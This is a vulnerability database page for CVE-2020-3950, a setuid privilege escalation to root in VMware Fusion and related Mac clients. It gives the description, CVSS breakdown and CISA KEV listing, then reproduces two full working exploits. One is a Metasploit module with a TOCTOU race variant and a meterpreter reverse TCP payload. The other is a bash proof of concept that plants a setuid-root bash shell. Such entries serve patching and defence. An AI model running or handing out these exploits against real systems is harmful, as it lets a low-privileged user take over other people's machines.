CVE-2020-3950 : Detail

CVE-2020-3950

7.8
/
High
Improper Privilege Management
A04-Insecure Design
1.48%V3
Local
2020-03-17
18h41 +00:00
2025-01-29
18h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

VMware Fusion (11.x before 11.5.2), VMware Remote Console for Mac (11.x and prior before 11.0.1) and Horizon Client for Mac (5.x and prior before 5.4.0) contain a privilege escalation vulnerability due to improper use of setuid binaries. Successful exploitation of this issue may allow attackers with normal user privileges to escalate their privileges to root on the system where Fusion, VMRC or Horizon Client is installed.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : VMware Multiple Products Privilege Escalation Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 48337

Publication date : 2020-04-15 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::OSX::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation', 'Description' => %q( This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3. The Open VMware USB Arbitrator Service can be launched outide of its standard path which allows loading of an attacker controlled binary. By creating a payload in the user home directory in a specific folder, and creating a hard link to the 'Open VMware USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload with an effective UID of 0. @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race. Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3. ), 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Dhanesh Kizhakkinan', # discovery 'Rich Mirch', # edb module 'jeffball <[email protected]>', # 11.5.3 exploit 'grimm' ], 'Platform' => [ 'osx' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2020-3950' ], [ 'EDB', '48235' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ], [ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ], [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ] ], 'DisclosureDate' => 'Mar 17 2020', 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp', 'WfsDelay' => 15 } ) ) register_options [ OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75]) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def open_usb_service 'Open VMware USB Arbitrator Service' end def usb_service 'VMware USB Arbitrator Service' end def get_home_dir home = cmd_exec 'echo ~' if home.blank? fail_with Failure::BadConfig, 'Unable to determine home dir for shell.' end home end def content_dir "#{get_home_dir}/Contents" end def base_dir "#{content_dir}/Library/services/" end def kill_process(executable) pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}') cmd_exec pid_kill end def get_version # Thanks to @ddouhine on github for this answer! version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString" /=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2 if version_raw.blank? fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.' end Gem::Version.new(version) end def pre_11_5_3 # Upload payload executable & chmod payload_filename = "#{base_dir}#{usb_service}" print_status "Uploading Payload: #{payload_filename}" write_file payload_filename, generate_payload_exe chmod payload_filename, 0o755 register_file_for_cleanup payload_filename # create folder structure and hard link to the original binary root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/" cmd_exec "mkdir -p #{link_folder}" cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'" print_status "Created folder (#{link_folder}) and link" print_status 'Starting USB Service (5 sec pause)' # XXX: The ; used by cmd_exec will interfere with &, so pad it with : cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :" Rex.sleep 5 # give time for the service to execute our payload print_status 'Killing service' cmd_exec "pkill '#{open_usb_service}'" print_status "Deleting #{root_link_folder}" rm_rf root_link_folder end def exactly_11_5_3 # Upload payload executable & chmod payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" print_status "Uploading Payload to #{payload_name}" write_file payload_name, generate_payload_exe chmod payload_name, 0o755 #create race with codesign check root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/" print_status 'Uploading race condition executable.' race = <<~EOF #!/bin/sh while [ "1" = "1" ]; do ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}' ln -f '#{payload_name}' '#{base_dir}#{usb_service}' done EOF racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" upload_and_chmodx racer_name, race register_file_for_cleanup racer_name register_dirs_for_cleanup root_link_folder # create the hard link print_status "Creating folder (#{link_folder}) and link" cmd_exec "mkdir -p #{link_folder}" cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'" # create the launcher to start the racer and keep launching our service to attempt to win launcher = <<~EOF #!/bin/sh #{racer_name} & for i in {1..#{datastore['MAXATTEMPTS']}} do echo "attempt $i"; '#{link_folder}#{open_usb_service}' done EOF runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}" upload_and_chmodx runner_name, launcher register_file_for_cleanup runner_name print_status "Launching Exploit #{runner_name} (sleeping 15sec)" # XXX: The ; used by cmd_exec will interfere with &, so pad it with : results = cmd_exec "#{runner_name} & :" Rex.sleep 15 # give time for the service to execute our payload vprint_status results print_status 'Exploit Finished, killing scripts.' kill_process racer_name kill_process runner_name # in theory should be killed already but just in case kill_process "'#{link_folder}#{open_usb_service}'" # kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed. # above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error # rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder end def check unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}" print_bad "'#{open_usb_service}' binary missing" return CheckCode::Safe end version = get_version if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3')) vprint_good "Vmware Fusion #{version} is exploitable" else print_bad "VMware Fusion #{version} is NOT exploitable" return CheckCode::Safe end CheckCode::Appears end def exploit # First check the system is vulnerable, or the user wants to run regardless unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end # Check if we're already root if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end end # Make sure we can write our payload to the remote system rm_rf content_dir # live dangerously. if directory? content_dir fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail." end cmd_exec "mkdir -p #{base_dir}" register_dirs_for_cleanup content_dir unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable." end version = get_version if version == Gem::Version.new('11.5.3') vprint_status 'Using 11.5.3 exploit' exactly_11_5_3 elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2')) vprint_status 'Using pre-11.5.3 exploit' pre_11_5_3 end rm_rf content_dir # live dangerously. end end
Exploit Database EDB-ID : 48235

Publication date : 2020-03-19 23h00 +00:00
Author : Rich Mirch
EDB Verified : Yes

# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation # Date: 2020-03-17 # Exploit Author: Rich Mirch # Vendor Homepage: https://www.vmware.com/products/fusion.html # Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html # Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg # Versions: # VMware Fusion Professional 11.5.1 (15018442) # VMware Fusion Professional 11.5.2 (15794494) # # Tested on: macOS 10.14.6 # CVE : CVE-2020-3950 # Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh # # #!/bin/bash echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch" mkdir -p ~/a/b/c mkdir -p ~/Contents/Library/services cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF #!/usr/bin/python import os os.setuid(0) os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot"); EOF chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service cd ~/a/b/c ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null "${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null & p=$! echo "Sleeping for 5 seconds" sleep 5 kill ${p?} wait echo "Sleeping for 7 seconds" sleep 7 $HOME/.woot -p

Products Mentioned

Configuraton 0

Vmware>>Fusion >> Version From (including) 11.0.0 To (excluding) 11.5.2

Vmware>>Horizon_client >> Version From (including) 5.0.0 To (excluding) 5.4.0

Vmware>>Remote_console >> Version From (including) 11.0.0 To (excluding) 11.0.1

Apple>>Macos >> Version -

References